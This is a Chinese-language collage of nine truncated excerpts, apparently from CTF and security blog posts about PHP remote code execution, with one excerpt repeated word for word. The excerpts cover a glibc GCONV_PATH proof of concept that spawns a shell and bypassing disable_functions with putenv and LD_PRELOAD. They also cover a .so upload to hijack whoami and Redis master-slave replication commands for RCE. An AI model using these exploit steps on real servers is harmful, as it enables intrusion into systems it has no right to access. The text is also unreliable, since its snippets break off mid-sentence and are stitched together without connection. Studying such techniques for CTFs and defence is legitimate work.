php的代码执行简称RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码 php的命令执行利用 php的命令执行,我们默认讨论的是服务器操作系统为Linux下的情况 php的Command Exec函数 在php中,官方有下面6种函数可以执行系统命令 s...
int main(void) { putenv("GCONV_PATH=."); FILE *fp = fopen("some_random_file", "w,ccs=payload"); } 编译并运行就会得到一个shell: user:/home/user$ gcc poc.c -o poc user:/home/user$ ./poc pwned $ 0x02 分析 会得到shell的主要原因是GCONV_PATH和ccs=payload 根据手册可以看到,glibc ...
3、disable_function绕过--利用LD_PRELOAD 四、常见RCE 1、北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。 2、本地文件包含RCE php7 segment fault特性 五、SQL注入 1、md5绕过 2、regexp注入 3、用于闭合引号的注释符 4、mysql中点引号( ' )和反勾号( ` )的区别 5、堆叠注入...
基本上,我们可以看到php中所有有关shell的函数都被禁用了,但是禁用函数列表没有禁用putenv,因此我们可以使用LD_PRELOAD来突破disable_functions来执行系统命令。 LD_PRELOAD为我们提供了劫持系统函数的能力,但是前提是我们要控制php启动外部程序才行(只要有进程启动行为即可),我们常用的启动一个新进程的方法有mail,imap_op...
<?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disow...
有文件上传+putenv,而且上传目录是/tmp,那么基本可以确定是putenv+LD_PRELOAD上传.so文件劫持whoami命令的组合拳RCE了。 但是遇到了一些问题,在这个文件上传的位置我就卡了,怎么传这个so文件上去,并且保证名字也是xxx.so这种呢? 第一时间想到了python传files,但是前几次都报错了,本地搭了一个这个服务也传不上,奇了...
主从复制RCE 在上面我们已经通过主从复制完成了WebShell的写入,其实还可以更进一步直接RCE,在redis的4.x以及5.x版本当中是存在RCE的可能性的。 相关命令: 设置redis的备份路径:config set dir ./ 设置备份文件名为exp.so,默认为dump.rdb:config set dbfilename exp.so 设置主服务器IP和端口:slaveof 192.168.172....
phphighlight_file(__FILE__);//docker//FROM php:8.1.0//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask//disable_classes = FFI//chmod -R 0555...
那么自然容易想到寻找引入拓展的地方,引入一个hack.so文件,hook函数,达到RCE的目的,这一点和之前2019 0ctf online的时候非常相似,这是当时已经给了现成的拓展和可用函数。 这里可以参考ph牛的文章: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html ...
基本上,我们可以看到php中所有有关shell的函数都被禁用了,但是禁用函数列表没有禁用putenv,因此我们可以使用LD_PRELOAD来突破disable_functions来执行系统命令。 LD_PRELOAD为我们提供了劫持系统函数的能力,但是前提是我们要控制php启动外部程序才行(只要有进程启动行为即可),我们常用的启动一个新进程的方法有mail,imap_op...